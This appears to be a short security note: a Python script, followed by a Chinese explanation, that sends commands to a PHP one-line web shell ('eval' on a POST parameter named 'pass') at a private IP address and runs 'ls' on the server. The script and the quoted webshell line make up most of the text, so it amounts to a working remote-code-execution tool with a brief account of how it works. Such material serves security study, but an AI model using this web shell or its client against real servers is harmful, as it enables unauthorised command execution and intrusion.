import requests
url="http://10.2.0.113"
shell='/system.php'
passwd="pass"
port='80'
payload={
passwd:'system(\'ls \');'
}
url1=url+':'+port+shell
print(url1)
response=requests.post(url1,payload,timeout=1)
print(response.text)
原理是在<?php @eval($_POST['pass']);?>這樣的一句話木馬中,通過給pass這個值賦予內容會在eval中被解析成php進行執行,只要通過post將php語法賦予pass就能在php環境中被執行,這里執行的是ls查看文件列表。